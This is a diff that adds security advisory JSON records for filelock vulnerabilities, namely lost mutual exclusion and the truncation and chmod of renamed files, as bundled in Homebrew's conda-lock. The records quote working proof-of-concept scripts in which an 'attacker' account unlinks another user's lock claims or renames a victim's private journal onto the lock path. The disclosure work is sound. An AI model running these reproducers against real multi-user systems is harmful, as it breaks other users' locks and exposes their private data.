beforehand. The holder creates and owns the whole tree, so the existing-directory branch of `_ensure_protocol_directory` (the subject of GHSA-9c4x-gm8v-wgc4) plays no part.\n- Directories that an affected release already created keep their mode. A `0777` `.filelock` from an earlier run stays writable by other users after an upgrade, because filelock does not remove these directories. Upgraders should `chmod` or remove existing `.filelock` trees (see Workarounds).\n- The other lock classes do not have this gap in the same setting. With umask `000` and `mode=0o600`, `FileLock` and `SoftFileLock` create one `0600` file and nothing else, and `SoftReadWriteLock` creates its directories `0700` under any umask. Platform: POSIX permission semantics; demonstrated on Linux.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock's user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the bare `mkdir()` sits in [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L998). [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L127-L133) calls it for both levels without a mode. It then passes `self._open_mode()` to the sentinel and, through [`_attempt_doorway`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L179-L181), to both claim files. The doorway (the acquire step that scans existing claims and publishes the caller's own) proceeds when the claim scan is empty. [`_unlink_owner_path_result`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L896-L900) counts a missing claim name as removed on release.\n\n## Introduced\n\nThe bare `mkdir()` arrived with the claim directories in 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. We checked this against the git tags. Every release since 3.30.0 has it.\n\n## Mechanism\n\nA process with umask `000` that takes `StrictSoftFileLock(\"/tmp//x.lock\", mode=0o600)` leaves this on disk while it holds the lock, every entry owned by the holder:\n\n```\n0600 x.lock\n0777 x.lock.filelock\n0777 x.lock.filelock/claims\n0600 x.lock.filelock/claims/held-v1-.claim\n0600 x.lock.filelock/claims/intent-v1-.claim\n```\n\nRemoving a name needs write permission on the directory, and these directories are not sticky. Another local user who cannot read either claim can therefore unlink both. Renaming `claims/` away inside the `0777` `.filelock` has the same effect. For this lock class the directory permissions decide who can end a hold. The sentinel at `` is permanent and says nothing about who holds. A contender starts its doorway by listing the claim directory and proceeds when it is empty. Once the two names are gone, the next contender publishes its own intent and held claims and enters. The original holder does not notice. `is_locked` is its own counter, and `_release` removes its claims by name through `_unlink_owner_path_result`, which takes `FileNotFoundError` as \"already removed\". The first process therefore releases with exit status 0. No `force_break()`, lifetime or legacy client takes part.\n\nThe other user's action is a plain `unlink`. The right to do it comes from filelock's `mkdir`, not from anything the application asked for. In the same setting the other user can neither read nor remove the `0600` sentinel in the sticky parent. With the common umask `022` and no default ACL the directories are `0755`. Other users can then list the claim names, which `mode=0o600` does not suggest either, but cannot remove them, and the second process times out.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-AD6SUOON`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\n\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": [], \"text\": True}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": [], \"text\": True}\n\n\ndef start_victim_service(lock_path, umask):\n command = [sys.executable, \"/tmp/repro.d/victim_service.py\", lock_path]\n return subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, umask=umask, **AS_VICTIM)\n\n\ndef hold_lock_while_attacker_strikes(label, shared, victim_umask):\n lock_path = f\"{shared}/umask{victim_umask:03o}.lock\"\n claims = f\"{lock_path}.filelock/claims\"\n\n first = start_victim_service(lock_path, victim_umask)\n assert first.stdout.readline() == \"entered\\n\"\n claim_files = [f\"{claims}/{name}\" for name in sorted(os.listdir(claims))]\n for path in (lock_path, f\"{lock_path}.filelock\", claims, *claim_files):\n status = os.lstat(path)\n owner = pwd.getpwuid(status.st_uid).pw_name\n print(f\"{label}: {stat.S_IMODE(status.st_mode):04o} {owner} {os.path.relpath(path, shared)}\")\n\n # attack, while the first victim process is inside its critical section\n attacker = subprocess.run(\n [sys.executable, \"/tmp/repro.d/attacker_remove_claims.py\", lock_path],\n stdout=subprocess.PIPE,\n check=True,\n **AS_ATTACKER,\n )\n for line in attacker.stdout.splitlines():\n print(f\"{label}: attacker: {line}\")\n claims_left = len(os.listdir(claims))\n print(f\"{label}: claims left: {claims_left}\")\n\n second = start_victim_service(lock_path, victim_umask)\n second_says = second.stdout.readline().strip()\n # the first is told to leave only after the second has answered, so an \"entered\" means both were inside at once\n first_says = first.communicate(\"leave\\n\")[0].strip()\n second.communicate(\"leave\\n\")\n print(f\"{label}: second process: {second_says}\")\n print(f\"{label}: first process, asked afterwards: {first_says}, exit status {first.returncode}\")\n\n both_inside = second_says == \"entered\" and first_says == \"leaving, is_locked=True\" and first.returncode == 0\n return claims_left, both_inside\n\n\n# set up: a shared directory like /tmp, sticky and writable by everyone\nshared = tempfile.mkdtemp(prefix=\"strict-mode-\", dir=\"/tmp\")\nos.chmod(shared, 0o1777)\n\n# the two rounds differ only in the umask the victim's processes run with\ncontrol_claims_left, control_both_inside = hold_lock_while_attacker_strikes(\"CONTROL umask 022\", shared, 0o022)\nattack_claims_left, attack_both_inside = hold_lock_while_attacker_strikes(\"OBSERVED umask 000\", shared, 0o000)\nshutil.rmtree(shared)\n\n# check: with mode=0o600, another user must not be able to let a second process in beside the first\nprint(f\"CONTROL two holders at once: {control_both_inside}\")\nprint(f\"OBSERVED two holders at once: {attack_both_inside}\")\ncontrol_excludes = control_claims_left == 2 and not control_both_inside\nprint(\"BUG\" if control_excludes and attack_claims_left == 0 and attack_both_inside else \"OK\")\n```\n\n**`repro.d/attacker_remove_claims.py`**\n\n```python\nimport os\nimport sys\n\nclaims = f\"{sys.argv[1]}.filelock/claims\"\ntry:\n names = sorted(os.listdir(claims))\nexcept PermissionError:\n print(\"listing denied\")\n names = []\n\nfor name in names:\n try:\n os.unlink(f\"{claims}/{name}\")\n print(f\"unlinked {name}\")\n except PermissionError:\n print(f\"unlink denied {name}\")\n```\n\n**`repro.d/victim_service.py`**\n\n```python\nimport sys\n\nfrom filelock import StrictSoftFileLock, Timeout\n\nlock = StrictSoftFileLock(sys.argv[1], mode=0o600)\ntry:\n with lock.acquire(timeout=2):\n print(\"entered\", flush=True)\n sys.stdin.readline() # stay in the critical section until told to leave\n print(f\"leaving, is_locked={lock.is_locked}\", flush=True)\nexcept Timeout:\n print(\"Timeout\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant H as holder (umask 000, mode=0o600)\n participant D as x.lock.filelock/claims\n participant X as other local user\n participant C as contender (same account as the holder)\n H->>D: mkdir() both directories: 0777, claims 0600\n H->>D: publish intent and held claims, enter\n X->>D: read claim: EACCES (0600)\n rect rgb(255, 214, 214)\n X->>D: unlink both claims (directory is 0777, not sticky)\n C->>D: acquire(): scan finds no claims, publishes, enters\n Note over H,C: both inside at once\n H->>D: release(): claims missing, counted as removed, exit status 0\n end\n Note over H,D: control under umask 022: directories 0755, unlink denied, contender raises Timeout\n```\n\n## Evidence\n\nThe scanner's reproducer runs the holder's `StrictSoftFileLock(path, mode=0o600)` with `timeout=2` as account `victim` (uid 1000) and the unlink loop as account `attacker` (uid 1001). Both run in a fresh root-owned `1777` directory under `/tmp`, at commit b831496 on Linux 6.1 (overlayfs), CPython 3.14.8. Two rounds differ only in the umask the holder's processes start with.\n\nUnder `CONTROL umask 022`, the directories are `0755`, the kernel denies the unlinks, both claims remain, and the second process prints `Timeout`. Under `OBSERVED umask 000`, every file is still `0600` but `.filelock` and `claims/` are `0777`. The other account prints `unlinked held-v1-.claim` and `unlinked intent-v1-.claim` followed by `claims left: 0`. The second process prints `entered`. The first process prints `leaving, is_locked=True, exit status 0` when asked afterwards. The verdict lines read `CONTROL two holders at once: False` and `OBSERVED two holders at once: True`; the overall verdict is `BUG`. The scanner ran the umask `002` and default-ACL rows of the table by hand at the same commit with the same result.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`). The review's regression test covers the owner, group-read and group-write modes.\n\n## Impact\n\nAnother local user who gets a write bit on the claim directories ends a live `StrictSoftFileLock` hold. A second honest process of the holder's account then enters the critical section beside the first. Neither holder receives any signal. This is the overlap the strict lock's fail-closed contract exists to rule out. The same write access lets the other user deny the lock by planting a malformed claim name. This does not disclose the claims' contents (the `0600` claim files stay unreadable), and it does not affect holders whose directories came out `0755` or tighter.\n\n## Workarounds\n\nRun processes that take strict locks with umask `022` or `077`. Do not put a default ACL that grants other accounts write on the lock's parent directory; where you intend group sharing, trust every member of that group with the lock. Keep strict locks in a directory other users cannot write. For paths already in use, `chmod 700` (or remove, while no process holds the lock) every existing `.filelock` tree. Its mode comes from creation time and nothing changes it afterwards: `find -maxdepth 1 -type d -name '*.filelock' -exec chmod -R go-w {} +`.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-AD6SUOON`, scanned commit b831496b0273)\n- 2026-10-16 01:31 UTC: fix PR #839 opened\n- 2026-10-16 05:39 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-6627-m3xw-93mp" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/839" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-112909.json b/advisories/BREW-conda-lock-CVE-2026-112909.json new file mode 100644 index 00000000000..da514102aeb --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-112909.json @@ -0,0 +1,91 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-112909", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-69hj-f68j-2879", + "CVE-2026-112909" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "2.2.0" + }, + { + "introduced": "2.5.5" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@3.32.7" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "3.32.7", + "key": "pkg:pypi/filelock@3.32.7", + "resource": "filelock" + } + ] + }, + "summary": "filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path", + "details": "`UnixFileLock`, the backend of `FileLock` and `AsyncFileLock` on Unix, empties whatever regular file it finds at the lock path once it holds the `flock` (a kernel lock on an open file). With an explicit `mode` it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next `acquire()`. A hard link is a second name for the same file. With a mode such as `0o666` the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards.\n\n`O_NOFOLLOW`, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as `/tmp` needs `fs.protected_hardlinks=0`, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2).\n\nAnthropic's OSS Scanner reported this in private. Finding covered by this advisory:\n\n- `ANT-2026-KO573NWI` [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N` scores 6.1 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. `I:H` (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit `mode` the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. `C:L` (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. `A:N` (no availability impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional** on another user controlling names in a non-sticky directory on the lock's filesystem (or on `fs.protected_hardlinks=0`). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.\n\n## Scope and preconditions\n\n- Lock classes: `FileLock` and `AsyncFileLock` on Unix (`UnixFileLock`). `SoftFileLock` applies an explicit mode only to a file it created with `O_CREAT | O_EXCL` and does not truncate an existing file. `WindowsFileLock` has not truncated at any version.\n- The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a `/tmp` cleaner, or after a release with the default `preserve_lock_file=False`, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated:\n - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created `0777` directory);\n - rename from such a directory into a sticky one (`1777`) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with `EPERM`;\n - `link(2)` into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means `fs.protected_hardlinks=0`. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs.\n- What the lock user loses: with the default `FileLock(path)` the lock truncates the file, which keeps its mode. With an explicit `mode` (a lock shared between users needs `0o666` or `0o660`, because `UnixFileLock` opens the file read-write), the lock also chmods the file to that mode. `_apply_explicit_mode` suppresses `PermissionError` only for files the lock user does not own. The lock user owns its own files, so the `fchmod` succeeds.\n- Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n- Not affected: a symlink (a file that points at another path) at the lock path, because `O_NOFOLLOW` makes the open fail with `ELOOP`; mutual exclusion between cooperating processes.\n\n## Affected code\n\nScanned commit `b831496b0273`: [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L144-L163), whose [`os.ftruncate` and `_apply_explicit_mode` calls](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) have only the `st_nlink != 0` guard (the file still has at least one name); [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L165-L168); [`_open_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L95-L121), which learns from its `O_EXCL` create whether this attempt made the file but hands that flag only to the `ENOSYS` fallback.\n\n## Introduced\n\nThe truncation of whatever is at the lock path dates from the initial commit ([2157efb](https://github.com/tox-dev/filelock/commit/2157efb8b57666699fcf15bf03c3771c1571279c), which opened with `O_TRUNC`). The chmod of a pre-existing inode (the kernel's identity for a file, independent of its name) came with [d7e1e84](https://github.com/tox-dev/filelock/commit/d7e1e84e71ad) \"changed from os.umask to os.chmod\" ([#206](https://github.com/tox-dev/filelock/pull/206), 2023-03-22), first tag 3.10.2 (verified with `git tag --contains`). Before it the code passed the mode only to `open()`, which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range `>= 3.10.0` understated it, as the review noted.\n\n## Mechanism\n\n`_open_lock_file` first tries `os.open(path, O_RDWR | O_NOFOLLOW | O_CREAT | O_EXCL, mode)`. With the lock user's file renamed to the lock path that fails with `FileExistsError`. The second `os.open(path, O_RDWR | O_NOFOLLOW)` succeeds, because the entry is a regular file the lock user owns, and returns `created = False`. `_acquire_native` passes `created` only to the `ENOSYS` branch. No process holds a `flock` on the renamed file, so `_lock_fd_nonblocking(fd)` succeeds at once and `_finalize_locked_fd(fd)` runs: `os.fstat`, `st_nlink != 0`, `os.ftruncate(fd, 0)`, then `os.fchmod(fd, mode)` when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. `O_NOFOLLOW` does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. `AsyncUnixFileLock` inherits `_finalize_locked_fd` unchanged.\n\nThe scanner measured three variants at the same commit, same accounts (`victim` uid 1000, `attacker` uid 1001). First, a rename within a `0777` directory: the next `FileLock(\"jobs.lock\", mode=0o666)` of `victim` empties the `0600` journal of `victim` renamed to `jobs.lock` and sets it to `0666`; `attacker` then reads what `victim` keeps writing through its open descriptor. Second, a rename of a two-name file (`ln /tmp/cache/blob ~/env/blob`, `0644`) from a `0777` directory, `fs.protected_hardlinks=1`: after `mv /tmp/cache/blob /tmp/cache/app.lock` and `FileLock(\"/tmp/cache/app.lock\", mode=0o666)` as `victim`, `~/env/blob` has `2 links, mode 666, 0 bytes` and `echo pwned >> /home/victim/env/blob` as `attacker` succeeds, in a directory `attacker` cannot write. Third, `os.link(notes, lock_path)` in a `1777` directory with `fs.protected_hardlinks=0`: `notes.txt` (`0644`, in the home of `victim`) ends up 0 bytes with mode `0666`, and `open(notes, \"w\")` as `attacker` then succeeds. With plain `FileLock(lock_path)` a `0600` file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-KO573NWI`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport secrets\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\n# set up: a directory every user may write, without the sticky bit\nshared = \"/tmp/renamed-lock-file-demo\"\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\njournal = f\"{shared}/victim-journal.log\"\nlock_path = f\"{shared}/jobs.lock\"\n\nvictim = subprocess.Popen(\n [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_job_runner.py\", shared],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n text=True,\n)\n\n\ndef victim_runs(job):\n victim.stdin.write(job + \"\\n\")\n victim.stdin.flush()\n assert victim.stdout.readline() == \"done\\n\"\n\n\ndef as_attacker(script, argument):\n command = [\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, f\"/tmp/repro.d/{script}\", argument]\n return subprocess.run(command, capture_output=True, text=True, check=True).stdout\n\n\n# before the attack: one job leaves the lock file and a 0600 journal with one line in it\nvictim_runs(\"job 1\")\njournal_before = os.stat(journal)\njournal_content_before = open(journal).read()\nattacker_read_before = as_attacker(\"attacker_read_file.py\", journal)\nprint(\n f\"CONTROL journal: inode {journal_before.st_ino}, uid {journal_before.st_uid}, \"\n f\"mode {stat.S_IMODE(journal_before.st_mode):o}, content {journal_content_before!r}\"\n)\nprint(f\"CONTROL attacker reads the journal: {attacker_read_before!r}\")\n\n# attack\nas_attacker(\"attacker_rename_journal.py\", shared)\n\n# the victim takes its lock again, then notes a secret in its journal through the descriptor it holds\nsecret = secrets.token_hex(8)\nvictim_runs(f\"job 2 {secret}\")\nvictim.stdin.close()\nvictim.wait()\n\n# check: the victim's private journal must not be emptied, widened to 0666, or readable by the attacker\nlock_after = os.stat(lock_path)\nlock_content_after = open(lock_path).read()\nattacker_read_after = as_attacker(\"attacker_read_file.py\", lock_path)\nprint(\n f\"OBSERVED lock path: inode {lock_after.st_ino}, uid {lock_after.st_uid}, \"\n f\"mode {stat.S_IMODE(lock_after.st_mode):o}, content {lock_content_after!r}\"\n)\nprint(f\"OBSERVED attacker reads the lock path: {attacker_read_after!r}\")\n\nattacker_was_denied = attacker_read_before == \"permission denied\\n\"\nlock_path_is_the_journal = (lock_after.st_dev, lock_after.st_ino) == (journal_before.st_dev, journal_before.st_ino)\njournal_was_emptied = \"job 1\" in journal_content_before and \"job 1\" not in lock_content_after\njournal_was_widened = stat.S_IMODE(journal_before.st_mode) == 0o600 and stat.S_IMODE(lock_after.st_mode) == 0o666\nattacker_reads_the_secret = secret in attacker_read_after\nbug = (\n attacker_was_denied\n and lock_path_is_the_journal\n and journal_was_emptied\n and journal_was_widened\n and attacker_reads_the_secret\n)\nprint(\"BUG\" if bug else \"OK\")\n```\n\n**`repro.d/attacker_read_file.py`**\n\n```python\nimport sys\n\ntry:\n print(open(sys.argv[1]).read(), end=\"\")\nexcept PermissionError:\n print(\"permission denied\")\n```\n\n**`repro.d/attacker_rename_journal.py`**\n\n```python\nimport os\nimport sys\n\nshared_directory = sys.argv[1]\n\n# needs only write access to the directory: no sticky bit, so any user may rename any entry in it\nos.rename(f\"{shared_directory}/victim-journal.log\", f\"{shared_directory}/jobs.lock\")\n```\n\n**`repro.d/victim_job_runner.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import FileLock\n\nshared_directory = sys.argv[1]\n\njournal_fd = os.open(f\"{shared_directory}/victim-journal.log\", os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)\n# UnixFileLock opens the lock file O_RDWR, so a lock that other users of the directory also take needs mode=0o666\nlock = FileLock(f\"{shared_directory}/jobs.lock\", mode=0o666, timeout=5)\n\nfor job in sys.stdin:\n with lock:\n os.write(journal_fd, f\"ran {job}\".encode())\n print(\"done\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as other account\n participant D as shared directory (writable, not sticky)\n participant V as lock user: FileLock(\"jobs.lock\", mode=0o666)\n participant K as kernel\n Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it)\n A->>D: mv victim-journal.log jobs.lock (one rename, no race)\n V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW|O_CREAT|O_EXCL) -> EEXIST\n V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW) -> fd (regular file, created=False)\n V->>K: flock(fd, LOCK_EX|LOCK_NB) -> ok (no holder)\n rect rgb(255, 214, 214)\n V->>K: fstat(fd), st_nlink != 0\n V->>K: ftruncate(fd, 0)\n V->>K: fchmod(fd, 0o666)\n Note over V,K: the journal's inode is now empty and world read-write, still owned by victim\n end\n V->>K: write(\"ran job 2 \") through the journal descriptor it still holds\n A->>D: read jobs.lock -> \"ran job 2 \"\n```\n\n## Evidence\n\nThe scanner reproducer (`victim` and `attacker` accounts, root-created `0777` directory without the sticky bit under `/tmp`, default sysctls, Linux 6.1, CPython 3.14.8, overlayfs; lock `FileLock(path, mode=0o666, timeout=5)`). It printed `CONTROL journal: inode 296383, uid 1000, mode 600, content 'ran job 1\\n'` and `CONTROL attacker reads the journal: 'permission denied\\n'`. After the rename and the second job of `victim` it printed `OBSERVED lock path: inode 296383, uid 1000, mode 666, content 'ran job 2 f4bc9a4e04c3f556\\n'` and `OBSERVED attacker reads the lock path: 'ran job 2 f4bc9a4e04c3f556\\n'`, last line `BUG`. The verdict requires that the earlier read by `attacker` failed, that the lock path is the journal's inode, that the old line is gone, that the mode went from `0600` to `0666`, and that the later read by `attacker` contains the secret. It runs in under a second with no race. The scanner ran the two-name and `link(2)` variants above by hand at the same commit (commands and results in its report), not through the script.\n\nMaintainer triage: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and that the hard-link and two-name variants go through the same two calls.\n\n## Impact\n\nThe file's content is lost in every configuration, including for processes that hold the file open and under every other name the file has. With an explicit permissive `mode`, the other user can read and modify everything the lock user writes afterwards, while the file still belongs to the lock user. The other user can rename the file back to its old name after the acquire. It stays there with the lock's mode, and the lock user's next acquire creates a fresh lock file.\n\nSomebody who may rename a single-name file may also unlink it, so losing such a file under its name is not new. What the lock adds are two operations on the inode that the other user cannot perform, `ftruncate` and `fchmod`, run with the lock user's privileges. Those matter for a descriptor the lock user still holds, for a second name of the file, and for programs that trust the file's ownership. The other user does not choose the mode, and the lock user writes no bytes the other user chose. Mutual exclusion is not affected.\n\n## Workarounds\n\n- Keep the lock file in a directory no other account can write, or in a sticky directory on a filesystem where no directory holding the lock user's files is writable by others. On Linux keep `fs.protected_hardlinks=1` (the default on mainstream distributions), which closes the hard-link route.\n- Do not pass a permissive explicit `mode` (`0o666`, `0o660`, `0o644`) unless accounts share the lock; without a mode the exposure is the truncation only.\n- Keep the lock file in place (`preserve_lock_file=True`). Once a lock file owned by the lock user exists in a sticky directory, another user cannot rename or link over it.\n- Where the lock does not need `flock` semantics, `SoftFileLock` applies its mode only to the marker it created with `O_EXCL` and does not truncate an existing file.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/835\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (36 findings; this one rated high by the scanner)\n- 2026-10-16 00:46 UTC: draft advisory created (first as a group of four findings, then narrowed to `ANT-2026-KO573NWI`; the other three security findings have their own advisories)\n- 2026-10-16 01:16 UTC: fix PR #835 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-69hj-f68j-2879" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112909" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/835" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-112911.json b/advisories/BREW-conda-lock-CVE-2026-112911.json new file mode 100644 index 00000000000..4df0419daed --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-112911.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-112911", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-9c4x-gm8v-wgc4", + "CVE-2026-112911" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.2_2" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@3.32.7" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "3.32.7", + "key": "pkg:pypi/filelock@3.32.7", + "resource": "filelock" + } + ] + }, + "summary": "filelock: StrictSoftFileLock and SoftReadWriteLock adopt a protocol directory another user created first, losing mutual exclusion", + "details": "`StrictSoftFileLock`, `AsyncStrictSoftFileLock`, `SoftReadWriteLock` and `AsyncSoftReadWriteLock` keep their whole ownership state as files in a directory derived from the lock path (`.filelock/claims`, `.rw/{gen,holders}`). When that directory already exists they adopt it after checking only that it is a real directory, not who owns it. Another local user who can create names in the lock's directory can create the tree before the first acquire on that path by the user running the lock (below: the lock user). In `/tmp`, `/var/tmp` or another sticky shared directory any user can do that; the sticky bit is a directory flag that lets only a file's owner remove or rename it. The other user then owns the tree. They can unlink the lock user's claims while the lock user holds the lock, so a second process of the lock user, root included, enters the same critical section and neither process sees an error.\n\nAgainst `SoftReadWriteLock` the same position also admits two writers with `on_compromise` silent. It redirects the lock user's own creates and renames into a directory the other user picks (the scanner replaced a repository's `.git/HEAD` with a filelock record written with the lock user's privileges). It also keeps the lock user's acquire or release running past any `timeout`. Affected versions are filelock 3.30.0 through 4.2.0 (finding `ANT-2026-Q5VK5JEE`).\n\n## Severity\n\n**CVSS 3.1 